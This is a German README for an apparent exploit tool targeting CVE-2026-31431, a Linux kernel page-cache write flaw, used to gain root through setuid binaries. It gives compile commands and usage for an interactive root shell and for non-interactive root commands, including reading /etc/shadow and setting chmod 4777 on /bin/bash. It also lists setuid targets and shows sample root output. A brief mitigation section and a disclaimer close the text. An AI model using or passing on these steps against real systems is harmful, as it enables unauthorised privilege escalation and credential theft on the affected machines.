CVE-2026-31431 Copy Fail Exploit

Linux-Kernel-Page-Cache-Pollution-Exploit-Tool mit Unterstützung für nicht-interaktive Befehlsausführung.

Schwachstellenübersicht

CVE-2026-31431 ist eine logische Schwachstelle im Linux-Kernel, die in der Implementierung des authesn-AEAD-Algorithmus existiert. Über die AF_ALG- und splice()-Syscall-Kette kann ein Angreifer 4 Bytes Daten in den Page Cache einer beliebigen lesbaren Datei schreiben.

Betroffene Systeme:

• Linux-Kernel 4.14+ (2017 - April 2026)
• Nahezu alle gängigen Distributionen: Ubuntu, Debian, CentOS, RHEL, Amazon Linux usw.

Eigenschaften der Schwachstelle:

• 100 % zuverlässig, keine Race Conditions erforderlich
• Keine Kernel-Offset-Berechnung erforderlich
• Ein einziges Binärprogramm funktioniert auf allen Distributionen
• Ändert keine Dateien auf der Festplatte, verschmutzt nur den Speichercache

Dateibeschreibung

.
├── copyfail_universal.c    # Haupt-POC-Quellcode (statisch kompiliert, keine libc-Abhängigkeit)
├── copyfail_universal      # Kompiliertes Binärprogramm
├── run_cmd.sh              # Wrapper-Skript für nicht-interaktive Ausführung
├── Makefile                # Kompilierungsskript
└── README.md               # Dieses Dokument

Kompilierung

# Methode 1: Verwendung von gcc und ld
gcc -c copyfail_universal.c -o copyfail_universal.o -O2 -fno-stack-protector -fno-pic -fno-pie
ld copyfail_universal.o -o copyfail_universal -static -nostdlib
chmod +x copyfail_universal

# Methode 2: Verwendung des Makefiles
make

Verwendung

Interaktive Root-Shell

./copyfail_universal

Nicht-interaktive Befehlsausführung

# Methode 1: Verwendung des Wrapper-Skripts (empfohlen)
./run_cmd.sh "id"
./run_cmd.sh "cat /etc/shadow"
./run_cmd.sh "chmod 4777 /bin/bash"

# Methode 2: Über eine Pipe
echo 'id > /tmp/pwned.txt; exit' | ./copyfail_universal

# Methode 3: Verwendung einer Umgebungsvariable
CMD='whoami' ./copyfail_universal

Andere setuid-Ziele angeben

# Das Standardziel ist /usr/bin/su
# Andere Ziele können durch Ändern der path-Variable im Quellcode angegeben werden

# Häufig verfügbare Ziele:
# /usr/bin/su
# /usr/bin/passwd
# /usr/bin/chsh
# /usr/bin/chfn
# /usr/bin/gpasswd
# /usr/bin/pkexec

Automatische Wiederherstellung

Die Schwachstelle ändert nur den Page Cache, nicht die Dateien auf der Festplatte. Führen Sie den folgenden Befehl aus, um die Wiederherstellung durchzuführen:

sync; echo 3 > /proc/sys/vm/drop_caches

Das Skript run_cmd.sh verfügt bereits über eine integrierte automatische Wiederherstellungsfunktion.

Beispielausgabe

$ ./run_cmd.sh "id"

[*] CVE-2026-31431 Copy Fail Exploit
[*] Target: /usr/bin/su
[*] Mode: Interactive shell
[*] Payload size: 112 bytes
[*] Corrupting page cache...
[+] Done! Executing su...

uid=0(root) gid=1000(user) groups=1000(user),4(adm),27(sudo)

Betroffene setuid-Programme

Alle setuid-Programme auf dem System finden:

find / -perm -4000 -user root -type f 2>/dev/null

Behebungsempfehlungen

1. Kernel aktualisieren - Upgrade auf eine Kernel-Version, die den Patch a664bf3d603d enthält

2. Temporäre Abschwächung - Das Modul algif_aead deaktivieren:

   root@kitploit:~

   echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
   rmmod algif_aead 2>/dev/null || true
   

3. Container-Umgebung - Seccomp verwenden, um die Erstellung von AF_ALG-Sockets zu blockieren

Technische Details

• Schwachstellentyp: Page-Cache-Schreibzugriff außerhalb der Grenzen
• Grundursache: authesn verwendet den Zielpuffer als temporären Speicher und schreibt 4 Bytes über die Grenzen hinaus
• Ausnutzungsmethode: Übergabe von Page-Cache-Seiten an das Crypto-Subsystem über splice()
• Schreibfähigkeit: Pro Vorgang können 4 Bytes in den Page Cache einer beliebigen lesbaren Datei geschrieben werden

Haftungsausschluss

Dieses Tool dient ausschließlich der Sicherheitsforschung und autorisierten Tests. Der Einsatz dieses Tools gegen nicht autorisierte Systeme ist rechtswidrig. Der Benutzer trägt die alleinige rechtliche Verantwortung.

Referenzen

• CVE-2026-31431 Write-up
• Xint Blog - Copy Fail
• GitHub - Offizieller POC